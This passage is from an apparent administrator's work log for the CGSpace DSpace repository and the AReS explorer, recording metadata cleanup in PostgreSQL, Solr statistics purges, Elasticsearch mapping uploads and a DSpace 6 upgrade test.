  • I added [Ss]pider to the Tomcat Crawler Session Manager Valve regex because this can catch a few more generic bots and force them to use the same Tomcat JSESSIONID
    • +
  • I added a few of the patterns from above to our local agents list and ran the check-spider-hits.sh on CGSpace:
    • +
+
$ ./check-spider-hits.sh -f dspace/config/spiders/agents/ilri -s statistics -u http://localhost:8083/solr -p
+Purging 228916 hits from RTB website BOT in statistics
+Purging 18707 hits from ILRI Livestock Website Publications importer BOT in statistics
+Purging 2661 hits from ^Java\/[0-9]{1,2}.[0-9] in statistics
+Purging 199 hits from [Ss]pider in statistics
+Purging 2326 hits from ubermetrics in statistics
+Purging 888 hits from omgili\.com in statistics
+Purging 1888 hits from TrendsmapResolver in statistics
+Purging 3546 hits from Vizzit in statistics
+Purging 2127 hits from Scoop\.it in statistics
+
+Total number of bot hits purged: 261258
+$ ./check-spider-hits.sh -f dspace/config/spiders/agents/ilri -s statistics-2019 -u http://localhost:8083/solr -p
+Purging 2952 hits from TrendsmapResolver in statistics-2019
+Purging 4252 hits from Vizzit in statistics-2019
+Purging 2976 hits from Scoop\.it in statistics-2019
+
+Total number of bot hits purged: 10180
+$ ./check-spider-hits.sh -f dspace/config/spiders/agents/ilri -s statistics-2018 -u http://localhost:8083/solr -p
+Purging 1702 hits from TrendsmapResolver in statistics-2018
+Purging 1062 hits from Vizzit in statistics-2018
+Purging 920 hits from Scoop\.it in statistics-2018
+
+Total number of bot hits purged: 3684
+

2020-10-13

+
    +
  • Skype with Peter about AReS again +
      +
    • We decided to use Title Case for our countries on CGSpace to minimize the need for mapping on AReS
      • +
    • We did some work to add a dozen more mappings for strange and incorrect CRPs on AReS
      • +
    +
    • +
  • I can update the country metadata in PostgreSQL like this:
    • +
+
dspace=> BEGIN;
+dspace=> UPDATE metadatavalue SET text_value=INITCAP(text_value) WHERE resource_type_id=2 AND metadata_field_id=228;
+UPDATE 51756
+dspace=> COMMIT;
+
    +
  • I will need to pay special attention to Côte d’Ivoire, Bosnia and Herzegovina, and a few others though… maybe better do search and replace using fix-metadata-values.csv +
      +
    • Export a list of distinct values from the database:
      • +
    +
    • +
+
dspace=> \COPY (SELECT DISTINCT(text_value) as "cg.coverage.country" FROM metadatavalue WHERE resource_type_id=2 AND metadata_field_id=228) TO /tmp/2020-10-13-countries.csv WITH CSV HEADER;
+COPY 195
+
    +
  • Then use OpenRefine and make a new column for corrections, then use this GREL to convert to title case: value.toTitlecase() +
      +
    • I still had to double check everything to catch some corner cases (Andorra, Timor-leste, etc)
      • +
    +
    • +
  • For the input forms I found out how to do a complicated search and replace in vim:
    • +
+
:'<,'>s/\<\(pair\|displayed\|stored\|value\|AND\)\@!\(\w\)\(\w*\|\)\>/\u\2\L\3/g
+
    +
  • It uses a negative lookahead (aka “lookaround” in PCRE?) to match words that are not “pair”, “displayed”, etc because we don’t want to edit the XML tags themselves… +
      +
    • I had to fix a few manually after doing this, as above with PostgreSQL
      • +
    +
    • +
+

2020-10-14

+
    +
  • I discussed the title casing of countries with Abenet and she suggested we also apply title casing to regions +
      +
    • I exported the list of regions from the database:
      • +
    +
    • +
+
dspace=> \COPY (SELECT DISTINCT(text_value) as "cg.coverage.region" FROM metadatavalue WHERE resource_type_id=2 AND metadata_field_id=227) TO /tmp/2020-10-14-regions.csv WITH CSV HEADER;
+COPY 34
+
    +
  • I did the same as the countries in OpenRefine for the database values and in vim for the input forms
    • +
  • After testing the replacements locally I ran them on CGSpace:
    • +
+
$ ./fix-metadata-values.py -i /tmp/2020-10-13-CGSpace-countries.csv -db dspace -u dspace -p 'fuuu' -f cg.coverage.country -t 'correct' -m 228
+$ ./fix-metadata-values.py -i /tmp/2020-10-14-CGSpace-regions.csv -db dspace -u dspace -p 'fuuu' -f cg.coverage.region -t 'correct' -m 227
+
    +
  • Then I started a full re-indexing:
    • +
+
$ time chrt -b 0 ionice -c2 -n7 nice -n19 dspace index-discovery -b
+
+real    88m21.678s
+user    7m59.182s
+sys     2m22.713s
+
    +
  • I added a dozen or so more mappings to fix some country outliers on AReS +
      +
    • I will start a fresh harvest there once the Discovery update is done on CGSpace
      • +
    +
    • +
  • I also adjusted my fix-metadata-values.py and delete-metadata-values.py scripts to work on DSpace 6 where there is no more resource_type_id field +
      +
    • I will need to do it on a few more scripts as well, but I’ll do that after we migrate to DSpace 6 because those scripts are less important
      • +
    +
    • +
  • I found a new setting in DSpace 6’s usage-statistics.cfg about case insensitive matching of bots that defaults to false, so I enabled it in our DSpace 6 branch +
      +
    • I am curious to see if that resolves the strange issues I noticed yesterday about bot matching of patterns in the spider agents file completely not working
      • +
    +
    • +
+

2020-10-15

+
    +
  • Re-deploy latest code on both CGSpace and DSpace Test to get the input forms changes +
      +
    • Run system updates and reboot each server (linode18 and linode26)
      • +
    • I had to restart Tomcat seven times on CGSpace before all Solr stats cores came up OK
      • +
    +
    • +
  • Skype with Peter and Abenet about AReS and CGSpace +
      +
    • We agreed to lower case the AGROVOC subjects on CGSpace to make it harmonized with MELSpace and WorldFish
      • +
    • We agreed to separate the AGROVOC from the other center- and CRP-specific subjects so that the search and tag clouds are cleaner and more useful
      • +
    • We added a filter for journal title
      • +
    +
    • +
  • I enabled anonymous access to the “Export search metadata” option on DSpace Test +
      +
    • If I search for author containing “Orth, Alan” or “Orth Alan” the export search metadata returns HTTP 400
      • +
    • If I search for author containing “Orth” it exports a CSV properly…
      • +
    +
    • +
  • I created issues on the OpenRXV repository: + +
    • +
  • Atmire responded about the Listings and Reports and Content and Usage Statistics issues with DSpace 6 that I reported last week +
      +
    • They said that the CUA issue was a mistake and should be fixed in a minor version bump
      • +
    • They asked me to confirm if the L&R version bump from last week did not solve the issue there (which I had tested locally, but not on DSpace Test)
      • +
    • I will test them both again on DSpace Test and report back
      • +
    +
    • +
  • I posted a message on Yammer to inform all our users about the changes to countries, regions, and AGROVOC subjects
    • +
  • I modified all AGROVOC subjects to be lower case in PostgreSQL and then exported a list of the top 1500 to update the controlled vocabulary in our submission form:
    • +
+
dspace=> BEGIN;
+dspace=> UPDATE metadatavalue SET text_value=LOWER(text_value) WHERE resource_type_id=2 AND metadata_field_id=57;
+UPDATE 335063
+dspace=> COMMIT;
+dspace=> \COPY (SELECT DISTINCT text_value as "dc.subject", count(text_value) FROM metadatavalue WHERE resource_type_id=2 AND metadata_field_id=57 GROUP BY "dc.subject" ORDER BY count DESC LIMIT 1500) TO /tmp/2020-10-15-top-1500-agrovoc-subject.csv WITH CSV HEADER;
+COPY 1500
+
    +
  • Use my agrovoc-lookup.py script to validate subject terms against the AGROVOC REST API, extract matches with csvgrep, and then update and format the controlled vocabulary:
    • +
+
$ csvcut -c 1 /tmp/2020-10-15-top-1500-agrovoc-subject.csv | tail -n 1500 > /tmp/subjects.txt
+$ ./agrovoc-lookup.py -i /tmp/subjects.txt -o /tmp/subjects.csv -d
+$ csvgrep -c 4 -m 0 -i /tmp/subjects.csv | csvcut -c 1 | sed '1d' > dspace/config/controlled-vocabularies/dc-subject.xml
+# apply formatting in XML file
+$ tidy -xml -utf8 -iq -m -w 0 dspace/config/controlled-vocabularies/dc-subject.xml
+
    +
  • Then I started a full re-indexing on CGSpace:
    • +
+
$ time chrt -b 0 ionice -c2 -n7 nice -n19 dspace index-discovery -b
+
+real    88m21.678s
+user    7m59.182s
+sys     2m22.713s
+

2020-10-18

+
    +
  • Macaroni Bros wrote to me to ask why some of their CCAFS harvesting is failing +
      +
    • They are scraping HTML from /browse responses like this:
      • +
    +
    • +
+

https://cgspace.cgiar.org/browse?type=crpsubject&value=Climate+Change%2C+Agriculture+and+Food+Security&XML&rpp=5000

+
    +
  • They are using the user agent “CCAFS Website Publications importer BOT” so they are getting rate limited by nginx
    • +
  • Ideally they would use the REST find-by-metadata-field endpoint, but it is really slow for large result sets (like twenty minutes!):
    • +
+
$ curl -f -H "CCAFS Website Publications importer BOT" -H "Content-Type: application/json" -X POST "https://dspacetest.cgiar.org/rest/items/find-by-metadata-field?limit=100" -d '{"key":"cg.contributor.crp", "value":"Climate Change, Agriculture and Food Security","language": "en_US"}'
+
    +
  • For now I will whitelist their user agent so that they can continue scraping /browse
    • +
  • I figured out that the mappings for AReS are stored in Elasticsearch +
      +
    • There is a Kibana interface running on port 5601 that can help explore the values in the index
      • +
    • I can interact with Elasticsearch by sending requests, for example to delete an item by its _id:
      • +
    +
    • +
+
$ curl -XPOST "localhost:9200/openrxv-values/_delete_by_query" -H 'Content-Type: application/json' -d'
+{
+  "query": {
+    "match": {
+      "_id": "64j_THMBiwiQ-PKfCSlI"
+    }
+  }
+}
+
    +
  • I added a new find/replace:
    • +
+
$ curl -XPOST "localhost:9200/openrxv-values/_doc?pretty" -H 'Content-Type: application/json' -d'
+{
+  "find": "ALAN1",
+  "replace": "ALAN2",
+}
+'
+
    +
  • I see it in Kibana, and I can search it in Elasticsearch, but I don’t see it in OpenRXV’s mapping values dashboard
    • +
  • Now I deleted everything in the openrxv-values index:
    • +
+
$ curl -XDELETE http://localhost:9200/openrxv-values
+
    +
  • Then I tried posting it again:
    • +
+
$ curl -XPOST "localhost:9200/openrxv-values/_doc?pretty" -H 'Content-Type: application/json' -d'
+{
+  "find": "ALAN1",
+  "replace": "ALAN2",
+}
+'
+
    +
  • But I still don’t see it in AReS
    • +
  • Interesting! I added a find/replace manually in AReS and now I see the one I POSTed…
    • +
  • I fixed a few bugs in the Simple and Extended PDF reports on AReS +
      +
    • Add missing ISI Journal and Type to Simple PDF report
      • +
    • Fix DOIs in Simple PDF report
      • +
    • Add missing “https://hdl.handle.net” to Handles in Extented PDF report
      • +
    +
    • +
  • Testing Atmire CUA and L&R based on their feedback from a few days ago +
      +
    • I no longer get the NullPointerException from CUA when importing metadata on the command line (!)
      • +
    • Listings and Reports now shows results for simple queries that I tested (!), though it seems that there are some new JavaScript libraries I need to allow in nginx
      • +
    +
    • +
  • I sent a mail to the dspace-tech mailing list asking about the error with DSpace 6’s “Export Search Metadata” function +
      +
    • If I search for an author like “Orth, Alan” it gives an HTTP 400, but if I search for “Orth” alone it exports a CSV
      • +
    • I replicated the same issue on demo.dspace.org
      • +
    +
    • +
+

2020-10-19

+
    +
  • Last night I learned how to POST mappings to Elasticsearch for AReS:
    • +
+
$ curl -XDELETE http://localhost:9200/openrxv-values
+$ curl -XPOST http://localhost:9200/openrxv-values/_doc/_bulk -H "Content-Type: application/json" --data-binary @./mapping.json
+
    +
  • The JSON file looks like this, with one instruction on each line:
    • +
+
{"index":{}}
+{ "find": "CRP on Dryland Systems - DS", "replace": "Dryland Systems" }
+{"index":{}}
+{ "find": "FISH", "replace": "Fish" }
+
    +
  • Adjust the report templates on AReS based on some of Peter’s feedback
    • +
  • I wrote a quick Python script to filter and convert the old AReS mappings to Elasticsearch’s Bulk API format:
    • +
+
#!/usr/bin/env python3
+
+import json
+import re
+
+f = open('/tmp/mapping.json', 'r')
+data = json.load(f)
+
+# Iterate over old mapping file, which is in format "find": "replace", ie:
+#
+#   "alan": "ALAN"
+#
+# And convert to proper dictionaries for import into Elasticsearch's Bulk API:
+#
+#   { "find": "alan", "replace": "ALAN" }
+#
+for find, replace in data.items():
+    # Skip all upper and all lower case strings because they are indicative of
+    # some AGROVOC or other mappings we no longer want to do
+    if find.isupper() or find.islower() or replace.isupper() or replace.islower():
+        continue
+
+    # Skip replacements with acronyms like:
+    #
+    #   International Livestock Research Institute - ILRI
+    #
+    acronym_pattern = re.compile(r"[A-Z]+$")
+    acronym_pattern_match = acronym_pattern.search(replace)
+    if acronym_pattern_match is not None:
+        continue
+
+    mapping = { "find": find, "replace": replace }
+
+    # Print command for Elasticsearch
+    print('{"index":{}}')
+    print(json.dumps(mapping))
+
+f.close()
+
    +
  • It filters all upper and lower case strings as well as any replacements that end in an acronym like “- ILRI”, reducing the number of mappings from around 4,000 to about 900
    • +
  • I deleted the existing openrxv-values Elasticsearch core and then POSTed it:
    • +
+
$ ./convert-mapping.py > /tmp/elastic-mappings.txt
+$ curl -XDELETE http://localhost:9200/openrxv-values
+$ curl -XPOST http://localhost:9200/openrxv-values/_doc/_bulk -H "Content-Type: application/json" --data-binary @/tmp/elastic-mappings.txt
+
    +
  • Then in AReS I didn’t see the mappings in the dashboard until I added a new one manually, after which they all appeared +
      +
    • I started a new harvesting
      • +
    +
    • +
  • I checked the CIMMYT DSpace repository and I see they have the REST API enabled +
      +
    • The data doesn’t look too bad actually: they have countries in title case, AGROVOC in upper case, CRPs, etc
      • +
    • According to their OAI they have 6,500 items in the repository
      • +
    • I would be interested to explore the possibility to harvest them…
      • +
    +
    • +
  • Bosede said they were having problems with the “Access” step during item submission +
      +
    • I looked at the Munin graphs for PostgreSQL and both connections and locks look normal so I’m not sure what it could be
      • +
    • I restarted the PostgreSQL service just to see if that would help
      • +
    • She said she was still experiencing the issue…
      • +
    +
    • +
  • I ran the dspace cleanup -v process on CGSpace and got an error:
    • +
+
Error: ERROR: update or delete on table "bitstream" violates foreign key constraint "bundle_primary_bitstream_id_fkey" on table "bundle"
+  Detail: Key (bitstream_id)=(192921) is still referenced from table "bundle".
+
    +
  • The solution is, as always:
    • +
+
$ psql -d dspace -U dspace -c 'update bundle set primary_bitstream_id=NULL where primary_bitstream_id in (192921);'
+UPDATE 1
+
    +
  • After looking at the CGSpace Solr stats for 2020-10 I found some hits to purge:
    • +
+
$ ./check-spider-hits.sh -f /tmp/agents -s statistics -u http://localhost:8083/solr -p
+
+Purging 2474 hits from ShortLinkTranslate in statistics
+Purging 2568 hits from RI\/1\.0 in statistics
+Purging 1851 hits from ILRI Livestock Website Publications importer BOT in statistics
+Purging 1282 hits from curl in statistics
+
+Total number of bot hits purged: 8174
+
    +
  • Add “Infographic” to types in input form
    • +
  • Looking into the spider agent issue from last week, where hits seem to be logged regardless of ANY spider agent patterns being loaded +
      +
    • I changed the following two options: +
        +
      • usage-statistics.logBots = false
        • +
      • usage-statistics.bots.case-insensitive = true
        • +
      +
      • +
    • Then I made several requests with a bot user agent:
      • +
    +
    • +
+
$ http --print Hh https://dspacetest.cgiar.org/rest/bitstreams/dfa1d9c3-75d3-4380-a9d3-4c8cbbed2d21/retrieve User-Agent:"RTB website BOT"
+$ curl -s 'http://localhost:8083/solr/statistics/update?softCommit=true'
+
    +
  • And I saw three hits in Solr with isBot: true!!! +
      +
    • I made a few more requests with user agent “fumanchu” and it logs them with isBot: false…
      • +
    • I made a request with user agent “Delphi 2009” which is in the ilri pattern file, and it was logged with isBot: true
      • +
    • I made a few more requests and confirmed that if a pattern is in the list it gets logged with isBot: true despite the fact that usage-statistics.logBots is false…
      • +
    • So WTF this means that it knows they are from a bot, but it logs them anyways
      • +
    • Is this an issue with Atmire’s modules?
      • +
    • I sent them feedback on the ticket
      • +
    +
    • +
+

2020-10-21

+
    +
  • Peter needs to do some reporting on gender across the entirety of CGSpace so he asked me to tag a bunch of items with the AGROVOC “gender” subject (in CGIAR Gender Platform community, all ILRI items with subject “gender” or “women”, all CCAFS with “gender and social inclusion” etc) +
      +
    • First I exported the Gender Platform community and tagged all the items there with “gender” in OpenRefine
      • +
    • Then I exported all of CGSpace and extracted just the ILRI and other center-specific tags with csvcut:
      • +
    +
    • +
+
$ export JAVA_OPTS="-Dfile.encoding=UTF-8 -Xmx2048m"
+$ dspace metadata-export -f /tmp/cgspace.csv
+$ csvcut -c 'id,dc.subject[],dc.subject[en_US],cg.subject.ilri[],cg.subject.ilri[en_US],cg.subject.alliancebiovciat[],cg.subject.alliancebiovciat[en_US],cg.subject.bioversity[en_US],cg.subject.ccafs[],cg.subject.ccafs[en_US],cg.subject.ciat[],cg.subject.ciat[en_US],cg.subject.cip[],cg.subject.cip[en_US],cg.subject.cpwf[en_US],cg.subject.iita,cg.subject.iita[en_US],cg.subject.iwmi[en_US]' /tmp/cgspace.csv > /tmp/cgspace-subjects.csv
+
    +
  • Then I went through all center subjects looking for “WOMEN” or “GENDER” and checking if they were missing the associated AGROVOC subject +
      +
    • To reduce the size of the CSV file I removed all center subject columns after filtering them, and I flagged all rows that I changed so I could upload a CSV with only the items that were modified
      • +
    • In total it was about 1,100 items that I tagged across the Gender Platform community and elsewhere
      • +
    • Also, I ran the CSVs through my csv-metadata-quality checker to do basic sanity checks, which ended up removing a few dozen duplicated subjects
      • +
    +
    • +
+

2020-10-22

+
    +
  • Bosede was getting this error on CGSpace yesterday:
    • +
+
Authorization denied for action WORKFLOW_STEP_1 on COLLECTION:1072 by user 1759
+
    +
  • Collection 1072 appears to be IITA Miscellaneous +
      +
    • The submit step is defined, but has no users or groups
      • +
    • I added the IITA submitters there and told Bosede to try again
      • +
    +
    • +
  • Add two new blocks to list the top communities and collections on AReS
    • +
  • I want to extract all CRPs and affiliations from AReS to do some text processing and create some mappings… +
      +
    • First extract 10,000 affiliations from Elasticsearch by only including the affiliation source:
      • +
    +
    • +
+
$ http 'http://localhost:9200/openrxv-items-final/_search?_source_includes=affiliation&size=10000&q=*:*' > /tmp/affiliations.json
+
    +
  • Then I decided to try a different approach and I adjusted my convert-mapping.py script to re-consider some replacement patterns with acronyms from the original AReS mapping.json file to hopefully address some MEL to CGSpace mappings +
      +
    • For example, to changes this: +
        +
      • find: International Livestock Research Institute
        • +
      • replace: International Livestock Research Institute - ILRI
        • +
      +
      • +
    • … into this: +
        +
      • find: International Livestock Research Institute - ILRI
        • +
      • replace: International Livestock Research Institute
        • +
      +
      • +
    +
    • +
  • I re-uploaded the mappings to Elasticsearch like I did yesterday and restarted the harvesting
    • +
+

2020-10-24

+
    +
  • Atmire sent a small version bump to CUA (6.x-4.1.10-ilri-RC5) to fix the logging of bot requests when usage-statistics.logBots is false +
      +
    • I tested it by making several requests to DSpace Test with the RTB website BOT and Delphi 2009 user agents and can verify that they are no longer logged
      • +
    +
    • +
  • I spent a few hours working on mappings on AReS +
      +
    • I decided to do a full re-harvest on AReS with no mappings so I could extract the CRPs and affiliations to see how much work they needed
      • +
    • I worked on my Python script to process some cleanups of the values to create find/replace mappings for common scenarios: +
        +
      • Removing acronyms from the end of strings
        • +
      • Removing “CRP on " from strings
        • +
      +
      • +
    • The problem is that the mappings are applied to all fields, and we want to keep “CGIAR Research Program on …” in the authors, but not in the CRPs field
      • +
    • Really the best solution is to have each repository use the same controlled vocabularies
      • +
    +
    • +
+

2020-10-25

+
    +
  • I re-installed DSpace Test with a fresh snapshot of CGSpace’s to test the DSpace 6 upgrade (the last time was in 2020-05, and we’ve fixed a lot of issues since then):
    • +
+
$ cp dspace/etc/postgres/update-sequences.sql /tmp/dspace5-update-sequences.sql
+$ git checkout origin/6_x-dev-atmire-modules
+$ chrt -b 0 mvn -U -Dmirage2.on=true -Dmirage2.deps.included=false clean package
+$ sudo su - postgres
+$ psql dspacetest -c 'CREATE EXTENSION pgcrypto;'
+$ psql dspacetest -c "DELETE FROM schema_version WHERE version IN ('5.8.2015.12.03.3');"
+$ exit
+$ sudo systemctl stop tomcat7
+$ cd dspace/target/dspace-installer
+$ rm -rf /blah/dspacetest/config/spring
+$ ant update
+$ dspace database migrate
+(10 minutes)
+$ sudo systemctl start tomcat7
+(discovery indexing starts)
+
    +
  • Then I started processing the Solr stats one core and 1 million records at a time:
    • +
+
$ export JAVA_OPTS='-Dfile.encoding=UTF-8 -Xmx2048m'
+$ chrt -b 0 dspace solr-upgrade-statistics-6x -n 1000000 -i statistics
+$ chrt -b 0 dspace solr-upgrade-statistics-6x -n 1000000 -i statistics
+$ chrt -b 0 dspace solr-upgrade-statistics-6x -n 1000000 -i statistics
+$ chrt -b 0 dspace solr-upgrade-statistics-6x -n 1000000 -i statistics
+$ chrt -b 0 dspace solr-upgrade-statistics-6x -n 1000000 -i statistics
+
    +
  • After the fifth or so run I got this error:
    • +
+
Exception: Error while creating field 'p_group_id{type=uuid,properties=indexed,stored,multiValued}' from value '10'
+org.apache.solr.client.solrj.impl.HttpSolrServer$RemoteSolrException: Error while creating field 'p_group_id{type=uuid,properties=indexed,stored,multiValued}' from value '10'
+        at org.apache.solr.client.solrj.impl.HttpSolrServer.executeMethod(HttpSolrServer.java:552)
+        at org.apache.solr.client.solrj.impl.HttpSolrServer.request(HttpSolrServer.java:210)
+        at org.apache.solr.client.solrj.impl.HttpSolrServer.request(HttpSolrServer.java:206)
+        at org.apache.solr.client.solrj.request.AbstractUpdateRequest.process(AbstractUpdateRequest.java:124)
+        at org.apache.solr.client.solrj.SolrServer.add(SolrServer.java:68)
+        at org.apache.solr.client.solrj.SolrServer.add(SolrServer.java:54)
+        at org.dspace.util.SolrUpgradePre6xStatistics.batchUpdateStats(SolrUpgradePre6xStatistics.java:161)
+        at org.dspace.util.SolrUpgradePre6xStatistics.run(SolrUpgradePre6xStatistics.java:456)
+        at org.dspace.util.SolrUpgradePre6xStatistics.main(SolrUpgradePre6xStatistics.java:365)
+        at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
+        at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)
+        at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
+        at java.lang.reflect.Method.invoke(Method.java:498)
+        at org.dspace.app.launcher.ScriptLauncher.runOneCommand(ScriptLauncher.java:229)
+        at org.dspace.app.launcher.ScriptLauncher.main(ScriptLauncher.java:81)
+
    +
  • So basically, as I saw at this same step in 2020-05, there are some documents that have IDs that have not been converted to UUID, and have not been labeled as “unmigrated” either… +
      +
    • I see there are about 217,000 of them, 99% of which are of type: 5 which is “site”
      • +
    • I purged them:
      • +
    +
    • +
+
$ curl -s "http://localhost:8083/solr/statistics/update?softCommit=true" -H "Content-Type: text/xml" --data-binary "<delete><query>(*:* NOT id:/.{36}/) AND (*:* NOT id:/.+-unmigrated/)</query></delete>"
+
    +
  • Then I restarted the solr-upgrade-statistics-6x process, which apparently had no records left to process
    • +
  • I started processing the statistics-2019 core… +
      +
    • I managed to process 7.5 million records in 7 hours without any errors!
      • +
    +
    • +
+

2020-10-26

+
    +
  • The statistics processing on the statistics-2018 core errored after 1.8 million records:
    • +
+
Exception: Java heap space
+java.lang.OutOfMemoryError: Java heap space
+
    +
  • I had the same problem when I processed the statistics-2018 core in 2020-07 and 2020-08 +
      +
    • I will try to purge some unmigrated records (around 460,000), most of which are of type: 5 (site) so not relevant to our views and downloads anyways:
      • +
    +
    • +
+
$ curl -s "http://localhost:8083/solr/statistics-2018/update?softCommit=true" -H "Content-Type: text/xml" --data-binary "<delete><query>id:/.+-unmigrated/</query></delete>"
+
    +
  • I restarted the process and it crashed again a few minutes later +
      +
    • I increased the memory to 4096m and tried again
      • +
    • It eventually completed, after which time I purge all remaining 350,000 unmigrated records (99% of which were type: 5):
      • +
    +
    • +
+
$ curl -s "http://localhost:8083/solr/statistics-2018/update?softCommit=true" -H "Content-Type: text/xml" --data-binary "<delete><query>(*:* NOT id:/.{36}/) AND (*:* NOT id:/.+-unmigrated/)</query></delete>"
+
    +
  • Then I started processing the statistics-2017 core… +
      +
    • The processing finished with no errors and afterwards I purged 800,000 unmigrated records (all with type: 5):
      • +
    +
    • +
+
$ curl -s "http://localhost:8083/solr/statistics-2017/update?softCommit=true" -H "Content-Type: text/xml" --data-binary "<delete><query>(*:* NOT id:/.{36}/) AND (*:* NOT id:/.+-unmigrated/)</query></delete>"
+
+

2020-10-27

+
    +
  • I purged 849,408 unmigrated records from the statistics-2016 core after it finished processing…
    • +
  • I purged 285,000 unmigrated records from the statistics-2015 core after it finished processing…
    • +
  • I purged 196,000 unmigrated records from the statistics-2014 core after it finished processing…
    • +
  • I finally finished processing all the statistics cores with the solr-upgrade-statistics-6x utility on DSpace Test +
      +
    • I started the Atmire stats processing:
      • +
    +
    • +
+
$ chrt -b 0 dspace dsrun com.atmire.statistics.util.update.atomic.AtomicStatisticsUpdateCLI -t 12 -c statistics
+
    +
  • Peter asked me to add the new preferred AGROVOC subject “covid-19” to all items we had previously added “coronavirus disease”, and to make sure all items with ILRI subject “ZOONOTIC DISEASES” have the AGROVOC subject “zoonoses” +
      +
    • I exported all the records on CGSpace from the CLI and extracted the columns I needed to process them in OpenRefine:
      • +
    +
    • +
+
$ dspace metadata-export -f /tmp/cgspace.csv
+$ csvcut -c 'id,dc.subject[],dc.subject[en_US],cg.subject.ilri[],cg.subject.ilri[en_US]' /tmp/cgspace.csv > /tmp/cgspace-subjects.csv
+
    +
  • I sanity checked the CSV in csv-metadata-quality after exporting from OpenRefine, then applied the changes to 453 items on CGSpace
    • +
  • Skype with Peter and Abenet about CGSpace Explorer (AReS) +
      +
    • They want to do a big push in ILRI and our partners to use it in mid November (around 16th) so we need to clean up the metadata and try to fix the views/downloads issue by then
      • +
    • I filed an issue on OpenRXV for the views/downloads
      • +
    • We also talked about harvesting CIMMYT’s repository into AReS, perhaps with only a subset of their data, though they seem to have some issues with their data: +
        +
      • dc.contributor.author and dcterms.creator
        • +
      • dc.title and dcterms.title
        • +
      • dc.region.focus
        • +
      • dc.coverage.countryfocus
        • +
      • dc.rights.accesslevel (access status)
        • +
      • dc.source.journal (source)
        • +
      • dcterms.type and dc.type
        • +
      • dc.subject.agrovoc
        • +
      +
      • +
    +
    • +
  • I did some work on my previous create-mappings.py script to process journal titles and sponsors/investors as well as CRPs and affiliations +
      +
    • I converted it to use the Elasticsearch scroll API directly rather than consuming a JSON file
      • +
    • The result is about 1200 mappings, mostly to remove acronyms at the end of metadata values
      • +
    • I added a few custom mappings using convert-mapping.py and then uploaded them to AReS:
      • +
    +
    • +
+
$ ./create-mappings.py > /tmp/elasticsearch-mappings.txt
+$ ./convert-mapping.py >> /tmp/elasticsearch-mappings.txt
+$ curl -XDELETE http://localhost:9200/openrxv-values
+$ curl -XPOST http://localhost:9200/openrxv-values/_doc/_bulk -H "Content-Type: application/json" --data-binary @/tmp/elasticsearch-mappings.txt
+
    +
  • After that I had to manually create and delete a fake mapping in the AReS UI so that the mappings would show up
    • +
  • I fixed a few strings in the OpenRXV admin dashboard and then re-built the frontent container:
    • +
+
$ docker-compose up --build -d angular_nginx
+

2020-10-28

+
    +
  • Fix a handful more of grammar and spelling issues in OpenRXV and then re-build the containers:
    • +
+
$ docker-compose up --build -d --force-recreate angular_nginx
+
    +
  • Also, I realized that the mysterious issue with countries getting changed to inconsistent lower case like “Burkina faso” is due to the country formatter (see: backend/src/harvester/consumers/fetch.consumer.ts) +
      +
    • I don’t understand Typescript syntax so for now I will just disable that formatter in each repository configuration and I’m sure it will be better, as we’re all using title case like “Kenya” and “Burkina Faso” now anyways
      • +
    +
    • +
  • Also, I fixed a few mappings with WorldFish data
    • +
  • Peter really wants us to move forward with the alignment of our regions to UN M.49, and the CKM web team hasn’t responded to any of the mails we’ve sent recently so I will just do it +
      +
    • These are the changes that will happen in the input forms: +
        +
      • East Africa → Eastern Africa
        • +
      • West Africa → Western Africa
        • +
      • Southeast Asia → South-eastern Asia
        • +
      • South Asia → Southern Asia
        • +
      • Africa South of Sahara → Sub-Saharan Africa
        • +
      • North Africa → Northern Africa
        • +
      • West Asia → Western Asia
        • +
      +
      • +
    • There are some regions we use that are not present, for example Sahel, ACP, Middle East, and West and Central Africa. I will advocate for closer alignment later
      • +
    • I ran my fix-metadata-values.py script to update the values in the database:
      • +
    +
    • +
+
$ cat 2020-10-28-update-regions.csv
+cg.coverage.region,correct
+East Africa,Eastern Africa
+West Africa,Western Africa
+Southeast Asia,South-eastern Asia
+South Asia,Southern Asia
+Africa South Of Sahara,Sub-Saharan Africa
+North Africa,Northern Africa
+West Asia,Western Asia
+$ ./fix-metadata-values.py -i 2020-10-28-update-regions.csv -db dspace -u dspace -p 'fuuu' -f cg.coverage.region -t 'correct' -m 227 -d
+
    +
  • Then I started a full Discovery re-indexing:
    • +
+
$ time chrt -b 0 ionice -c2 -n7 nice -n19 dspace index-discovery -b
+
+real    92m14.294s
+user    7m59.840s
+sys     2m22.327s
+
    +
  • I realized I had been using an incorrect Solr query to purge unmigrated items after processing with solr-upgrade-statistics-6x… +
      +
    • Instead of this: (*:* NOT id:/.{36}/) AND (*:* NOT id:/.+-unmigrated/)
      • +
    • I should have used this: id:/.+-unmigrated/
      • +
    • Or perhaps this (with a check first!): *:* NOT id:/.{36}/
      • +
    • We need to make sure to explicitly purge the unmigrated records, then purge any that are not matching the UUID pattern (after inspecting manually!)
      • +
    • There are still 3.7 million records in our ten years of Solr statistics that are unmigrated (I only noticed because the DSpace Statistics API indexer kept failing)
      • +
    • I don’t think this is serious enough to re-start the simulation of the DSpace 6 migration over again, but I definitely want to make sure I use the correct query when I do CGSpace
      • +
    +
    • +
  • The AReS indexing finished after I removed the country formatting from all the repository configurations and now I see values like “SA”, “CA”, etc… +
      +
    • So really we need this to fix MELSpace countries, so I will re-enable the country formatting for their repository
      • +
    +
    • +
  • Send Peter a list of affiliations, authors, journals, publishers, investors, and series for correction:
    • +
+
dspace=> \COPY (SELECT DISTINCT text_value as "cg.contributor.affiliation", count(*) FROM metadatavalue WHERE resource_type_id = 2 AND metadata_field_id = 211 GROUP BY text_value ORDER BY count DESC) to /tmp/2020-10-28-affiliations.csv WITH CSV HEADER;
+COPY 6357
+dspace=> \COPY (SELECT DISTINCT text_value as "dc.description.sponsorship", count(*) FROM metadatavalue WHERE resource_type_id = 2 AND metadata_field_id = 29 GROUP BY text_value ORDER BY count DESC) to /tmp/2020-10-28-sponsors.csv WITH CSV HEADER;
+COPY 730
+dspace=> \COPY (SELECT DISTINCT text_value as "dc.contributor.author", count(*) FROM metadatavalue WHERE resource_type_id = 2 AND metadata_field_id = 3 GROUP BY text_value ORDER BY count DESC) to /tmp/2020-10-28-authors.csv WITH CSV HEADER;
+COPY 71748
